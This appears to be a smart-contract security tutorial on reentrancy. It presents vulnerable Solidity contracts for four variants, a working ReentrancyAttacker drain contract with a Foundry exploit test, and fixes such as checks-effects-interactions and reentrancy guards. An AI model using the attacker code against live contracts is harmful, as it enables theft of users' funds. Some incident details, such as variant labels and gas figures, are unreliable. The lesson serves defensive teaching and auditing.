🌳 Advanced ⏱️ 60 min

Reentrancy Attacks

Reentrancy is the oldest and most infamous vulnerability class in smart contract security. The DAO hack of 2016 drained $60 million and split Ethereum into two chains. Today, reentrancy attacks have evolved into four distinct forms — each requiring a different mental model to detect and prevent. If you master this one topic, you will catch bugs that cost protocols tens of millions of dollars.

🚨 Critical

Reentrancy attacks have stolen over $1 billion from smart contracts. New variants appear regularly — read-only reentrancy was unknown to most auditors until 2022 and cost Curve Finance $70M. This lesson covers all four types.

The Core Problem: External Calls Before State Updates

Reentrancy happens when a contract makes an external call to an untrusted address before it finishes updating its own state. The called contract can call back into the original contract, which still sees the old (unupdated) state and proceeds as if nothing happened. This lets an attacker execute the same privileged operation repeatedly before any accounting is updated.

Type 1: Simple Reentrancy

The classic form. A withdraw function sends ETH before zeroing the user's balance. The recipient contract's receive() function immediately calls withdraw() again, and since the balance hasn't been set to zero yet, the check passes again.

⚠️ Vulnerable Contract — Classic Reentrancy
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; // VULNERABLE: External call happens before state update contract VulnerableBank { mapping(address => uint256) public balances; function deposit() external payable { balances[msg.sender] += msg.value; } function withdraw() external { uint256 amount = balances[msg.sender]; require(amount > 0, "Nothing to withdraw"); // ❌ DANGER: External call BEFORE state update // The recipient's receive() can call back into this function (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); // ❌ This line is NEVER reached during the attack balances[msg.sender] = 0; } function getBalance() external view returns (uint256) { return address(this).balance; } }
💀 Attacker Contract — Simple Reentrancy Exploit
contract ReentrancyAttacker { VulnerableBank public immutable target; uint256 public attackCount; constructor(address _target) { target = VulnerableBank(_target); } // Step 1: Deposit 1 ETH to get a legitimate balance function attack() external payable { require(msg.value >= 1 ether, "Need at least 1 ETH"); target.deposit{value: 1 ether}(); // Step 2: Trigger the first withdraw — this starts the loop target.withdraw(); } // Step 3: This is called every time ETH arrives at this contract // The bank sends ETH → receive() triggers → withdraw again → repeat receive() external payable { attackCount++; // Stop after draining enough to avoid infinite loop / out of gas if (address(target).balance >= 1 ether) { target.withdraw(); // ← RE-ENTER before balance is zeroed } } function collectStolenFunds() external { (bool ok, ) = msg.sender.call{value: address(this).balance}(""); require(ok); } }

Simple Reentrancy: Step-by-Step Exploit Flow

  1. Setup: Attacker deploys ReentrancyAttacker pointing at VulnerableBank (which holds 10 ETH from legitimate users).
  2. Deposit: Attacker calls attack() with 1 ETH. Bank records balances[attacker] = 1 ETH.
  3. First withdraw: Bank checks balance (1 ETH ✓), sends 1 ETH via .call().
  4. Reentrance: ETH arrives at ReentrancyAttacker, triggering receive(). The attacker immediately calls withdraw() again.
  5. State not updated: Bank checks balance — it still shows 1 ETH because balances[msg.sender] = 0 hasn't run yet. Bank sends another 1 ETH.
  6. Loop repeats: This continues until the bank is empty or gas runs out.
  7. Result: Attacker invested 1 ETH and drained all 10 ETH from the bank.

Type 2: Cross-Function Reentrancy

The nonReentrant modifier on withdraw() alone is not enough if another function shares the same state. An attacker can re-enter through a different function that also reads the un-updated balance.

⚠️ Cross-Function Reentrancy — Partial Protection Fails
contract CrossFunctionVulnerable { mapping(address => uint256) public balances; mapping(address => address) public approvals; // This function IS protected by reentrancy guard function withdraw() external nonReentrant { uint256 amount = balances[msg.sender]; require(amount > 0); // ETH sent here — but balance not zeroed yet (bool ok, ) = msg.sender.call{value: amount}(""); require(ok); balances[msg.sender] = 0; // Too late! } // ❌ This function is NOT protected — shares same balance mapping // Attacker re-enters here from receive() to transfer stale balance function transfer(address to, uint256 amount) external { require(balances[msg.sender] >= amount, "Insufficient balance"); balances[msg.sender] -= amount; balances[to] += amount; } }
⚠️ Warning

In this pattern, the attacker calls withdraw() — the nonReentrant lock engages — then their receive() calls transfer() (not protected) to move their still-non-zero balance to an accomplice address. After withdraw() finishes and zeros the attacker's balance, the transferred amount remains in the accomplice account. Effective double spend.

Type 3: Cross-Contract Reentrancy

Two separate contracts share state. Attacking Contract A during execution triggers a callback that corrupts Contract B's view of the shared state.

⚠️ Cross-Contract Reentrancy — Shared State
contract LendingPool { mapping(address => uint256) public collateral; RewardDistributor public rewards; function withdrawCollateral(uint256 amount) external { require(collateral[msg.sender] >= amount); // ❌ Sends ETH before updating collateral — re-enterable (bool ok, ) = msg.sender.call{value: amount}(""); require(ok); collateral[msg.sender] -= amount; // Too late! } } contract RewardDistributor { LendingPool public pool; // Reads collateral from LendingPool to calculate rewards function claimRewards() external { // Attacker re-enters here during withdrawCollateral // pool.collateral[attacker] still shows full amount → huge rewards uint256 reward = pool.collateral[msg.sender] * 2; // Pays out inflated reward based on stale state _mintRewards(msg.sender, reward); } }

Type 4: Read-Only Reentrancy

The most sophisticated variant. A view function is called during a contract's execution before its state is fully updated. The view function returns stale data, which an attacker uses to manipulate a dependent protocol's pricing. No funds leave the original contract — but a second protocol is tricked.

📈 Read-Only Reentrancy — The Euler Finance Pattern
// Protocol A: Curve-like pool with a get_virtual_price() view function contract CurvePool { uint256 public totalSupply; uint256 public totalAssets; function removeLiquidity(uint256 shares) external { uint256 payout = (shares * totalAssets) / totalSupply; totalSupply -= shares; // ← Updated first // ❌ Assets not yet updated when ETH callback fires (bool ok, ) = msg.sender.call{value: payout}(""); require(ok); totalAssets -= payout; // ← Updated AFTER external call } // This view is called by Protocol B to get LP token price // During the callback: totalSupply is reduced but totalAssets is NOT // Result: price appears INFLATED — ratio is wrong function get_virtual_price() external view returns (uint256) { return (totalAssets * 1e18) / totalSupply; // STALE during callback! } } // Protocol B: Lending protocol that reads CurvePool price as collateral value contract LendingProtocol { CurvePool public pool; function borrow(uint256 borrowAmount) external { // ❌ Reads stale inflated price during attacker's receive() callback uint256 collateralPrice = pool.get_virtual_price(); uint256 collateralValue = lpTokenBalance[msg.sender] * collateralPrice / 1e18; require(collateralValue >= borrowAmount * 2, "Undercollateralized"); // Issues loan based on manipulated collateral value _issueLoan(msg.sender, borrowAmount); } }
📖 Real-World Impact

Read-only reentrancy exploited the Curve Finance ecosystem in 2023 for approximately $70M. The attack pattern: remove liquidity from a Curve pool (triggering ETH callback), during the callback call get_virtual_price() through a lending protocol, observe the inflated price, borrow against over-valued LP tokens, pocket the excess.

The Fix: Checks-Effects-Interactions Pattern

The fundamental defense is ordering. Always complete all state changes (Effects) before making any external calls (Interactions). Check preconditions first (Checks). This ordering ensures that any reentrant call sees the already-updated state and cannot exploit stale values.

✅ Fixed Contract — Checks-Effects-Interactions
contract SecureBank { mapping(address => uint256) public balances; function deposit() external payable { balances[msg.sender] += msg.value; } function withdraw() external { // ✅ CHECKS — Validate preconditions uint256 amount = balances[msg.sender]; require(amount > 0, "Nothing to withdraw"); // ✅ EFFECTS — Update ALL state before any external call balances[msg.sender] = 0; // ← Zeroed BEFORE sending ETH // ✅ INTERACTIONS — External call happens last (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); // If attacker re-enters now, balance is already 0 — require fails } }

ReentrancyGuard: Internals and Limitations

OpenZeppelin's ReentrancyGuard uses a storage slot as a lock. When a nonReentrant function is entered, it sets the status to "entered." Any reentrant call finds the status already set and reverts. Here is how it works internally:

🔒 ReentrancyGuard Internals (Simplified)
abstract contract ReentrancyGuard { uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = 2; uint256 private _status; constructor() { _status = NOT_ENTERED; } modifier nonReentrant() { // First call: _status is NOT_ENTERED (1) — passes // Re-entrant call: _status is ENTERED (2) — reverts require(_status != ENTERED, "ReentrancyGuard: reentrant call"); _status = ENTERED; _; // Function body executes here _status = NOT_ENTERED; // Reset after function completes } } // Note: nonReentrant uses ~2300 gas for the two storage writes // OZ v4.9+ uses transient storage (EIP-1153) to reduce this cost // ⚠️ LIMITATION: nonReentrant must be on ALL functions sharing state // Cross-function reentrancy bypasses a guard on just one function contract PartiallyProtected is ReentrancyGuard { function withdraw() external nonReentrant { /* protected */ } function transfer(address to) external { /* ❌ NOT protected — attack vector */ } }

Pull Payment Pattern

Instead of pushing funds to recipients (which requires external calls), let recipients pull their own funds. This eliminates reentrancy from payout functions entirely because the contract never initiates the ETH transfer — the user does.

💸 Pull Payment Pattern
contract PullPaymentAuction { address public highestBidder; uint256 public highestBid; mapping(address => uint256) public pendingReturns; function bid() external payable { require(msg.value > highestBid, "Bid too low"); // ✅ Store the refund — don't push it immediately // Old bidder's refund is queued, not sent if (highestBidder != address(0)) { pendingReturns[highestBidder] += highestBid; } highestBidder = msg.sender; highestBid = msg.value; } // ✅ Users pull their own refunds — no reentrancy risk function withdraw() external { uint256 amount = pendingReturns[msg.sender]; require(amount > 0, "Nothing to withdraw"); pendingReturns[msg.sender] = 0; // Effect before interaction (bool ok, ) = msg.sender.call{value: amount}(""); require(ok, "Withdraw failed"); } }

Detection Techniques

When auditing code, systematically look for these patterns in every function that performs external calls:

Pattern to FindWhere to LookRisk Level
.call{value:}() before state updateAny withdraw/payout functionCritical
transfer() to user-controlled addressToken distributionsHigh
External contract call before zeroingFlash loan callbacksCritical
View functions reading mid-transaction stateOracle integrationsHigh
Missing nonReentrant on related functionsFunctions sharing mappingsHigh
Callbacks (onFlashLoan, onERC721Received)ERC callbacksHigh
💡 Tip

When auditing, grep for .call( and .call{value across the entire codebase. For every hit, check: (1) is the called address trusted? (2) are all state changes complete before this line? (3) is this function fully re-entrant safe? If any answer is uncertain, flag it.

Foundry Test: Exploit and Fixed Versions

🧪 Foundry Test — Reentrancy Attack and Fix
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "forge-std/Test.sol"; import "./VulnerableBank.sol"; import "./SecureBank.sol"; import "./ReentrancyAttacker.sol"; contract ReentrancyTest is Test { VulnerableBank public vulnBank; SecureBank public secureBank; ReentrancyAttacker public attacker; address alice = makeAddr("alice"); address bob = makeAddr("bob"); function setUp() public { vulnBank = new VulnerableBank(); secureBank = new SecureBank(); // Seed bank with 10 ETH from legitimate users vm.deal(alice, 10 ether); vm.deal(bob, 10 ether); vm.prank(alice); vulnBank.deposit{value: 5 ether}(); vm.prank(bob); vulnBank.deposit{value: 5 ether}(); } /// @notice Demonstrates that the vulnerable bank CAN be drained function test_reentrancyExploit() public { attacker = new ReentrancyAttacker(address(vulnBank)); vm.deal(address(attacker), 1 ether); uint256 bankBefore = address(vulnBank).balance; attacker.attack{value: 1 ether}(); // Assert bank was drained below legitimate deposit amount assertLt(address(vulnBank).balance, bankBefore, "Bank should be drained"); assertGt(address(attacker).balance, 1 ether, "Attacker profited"); } /// @notice Demonstrates that the secure bank CANNOT be re-entered function test_secureBank_preventsReentrancy() public { ReentrancyAttacker secureAttacker = new ReentrancyAttacker(address(secureBank)); vm.deal(address(secureAttacker), 2 ether); secureAttacker.attack{value: 1 ether}(); // Attacker gets back exactly their 1 ETH deposit — nothing extra assertEq(secureAttacker.attackCount(), 1, "Only one withdrawal should succeed"); } }

Real-World Exploits

ProtocolYearLossVariantRoot Cause
The DAO2016$60MSimpleETH transfer before balance update in splitDAO()
Lendf.me2020$25MCross-functionERC777 callback allowed reentrance into deposit during withdraw
Cream Finance2021$18.8MCross-contractERC77 token allowed reentrant borrow during collateral update
Curve/Vyper2023$70MRead-onlyCompiler bug caused reentrancy guard to fail; get_virtual_price() returned stale data
Fei Protocol2022$80MCross-contractCustom nonReentrant not applied to all entry points in lending market

Key Takeaways

  • Always follow Checks-Effects-Interactions: Zero or update all state variables before any .call(), transfer(), or external function invocation.
  • Apply nonReentrant to all related functions: Partial protection creates cross-function reentrancy opportunities. If two functions share a balance mapping, both need the guard.
  • Consider read-only reentrancy: View functions that return pricing or state data can be exploited if called during mid-execution of another contract. TWAP prices and multi-block averages are safer than spot reads.
  • Prefer pull payments over push payments: Letting users withdraw their own funds eliminates the attack surface entirely for payout logic.
  • Trust no external call: ERC20 tokens, NFT contracts, and any user-supplied address can have arbitrary receive() or callback logic. Assume every external call is hostile.
  • Use Slither and Echidna: Slither's reentrancy-eth and reentrancy-no-eth detectors catch the classic forms automatically. Echidna can fuzz for reentrancy in property-based tests.

Read-Only Reentrancy in Detail

Read-only reentrancy is one of the most subtle reentrancy variants. It occurs when a view function returns an inconsistent value during a reentrancy context — because an external contract calls the view function mid-execution before internal state is updated. Protocols that read price/balance data from another protocol can be exploited if that protocol's state is temporarily inconsistent during a callback.

Read-Only Reentrancy via Curve Pool Price Oracle
// Curve pools have a get_virtual_price() function used as an oracle // During ETH withdrawal callbacks, get_virtual_price() returns stale value // ❌ VULNERABLE: External protocol uses Curve as oracle without guard contract VulnerableLender { ICurvePool curvePool; function getCollateralValue() public view returns (uint256) { // get_virtual_price() can return inflated value during Curve's ETH callback return curvePool.get_virtual_price() * lpTokenBalance; } function borrow(uint256 amount) external { // Uses getCollateralValue() which reads from Curve mid-reentrancy require(getCollateralValue() >= amount * 150 / 100, "Undercollateralized"); _sendFunds(msg.sender, amount); } } // Attack flow: // 1. Attacker deposits LP tokens as collateral in VulnerableLender // 2. Attacker calls remove_liquidity_one_coin() on Curve (ETH withdrawal) // 3. Curve sends ETH to attacker's fallback function // 4. In fallback: attacker calls VulnerableLender.borrow() // 5. getCollateralValue() reads get_virtual_price() — still shows old inflated value // 6. Attacker borrows against artificially high collateral value // 7. Curve completes ETH transfer, price normalizes, attacker is now undercollateralized // ✅ FIX: Read oracle values before any external calls, or use snapshot-based oracles contract ProtectedLender is ReentrancyGuard { function borrow(uint256 amount) external nonReentrant { // nonReentrant prevents mid-reentrancy reads on this contract's functions // Also ensures price read is from a stable (non-mid-callback) state require(getCollateralValue() >= amount * 150 / 100); _sendFunds(msg.sender, amount); } }

Transient Storage and Reentrancy Guards (EIP-1153)

EIP-1153 introduced transient storage (tstore/tload) in Cancun. Transient storage is automatically cleared at the end of each transaction, making it ideal for reentrancy locks — cheaper than a regular SSTORE (100 gas vs 20,000 for first write) and automatically reset without cleanup code.

Transient Storage Reentrancy Guard (Post-Cancun)
contract TransientReentrancyGuard { // Transient storage slot for the lock flag uint256 private constant REENTRANCY_SLOT = uint256(keccak256("reentrancy.guard")); modifier nonReentrantTransient() { assembly { if tload(REENTRANCY_SLOT) { revert(0, 0) } tstore(REENTRANCY_SLOT, 1) // Lock } _; assembly { tstore(REENTRANCY_SLOT, 0) // Unlock (optional — clears at tx end anyway) } } // Gas cost: ~100 gas per lock/unlock vs ~20,000 for storage-based guard }

Key Takeaways

  • The Checks-Effects-Interactions pattern is the primary reentrancy defense — update all internal state before making any external calls or sending ETH.
  • OpenZeppelin's ReentrancyGuard is a reliable safety net but should be used alongside CEI, not instead of it — a locked function that violates CEI can still have logic bugs.
  • Cross-function and cross-contract reentrancy can bypass per-function locks — use a shared reentrancy guard across all functions that share state.
  • Read-only reentrancy attacks exploit inconsistent state during ETH callbacks — protocols that use other protocols as oracles must account for this.
  • The DAO hack ($60M in 2016) and Curve/Vyper vulnerability ($70M in 2023) demonstrate that reentrancy remains relevant across Solidity versions and compiler changes.
  • Post-Cancun transient storage (tstore/tload) enables cheaper reentrancy guards (100 gas vs 20,000 gas) that auto-clear at transaction end.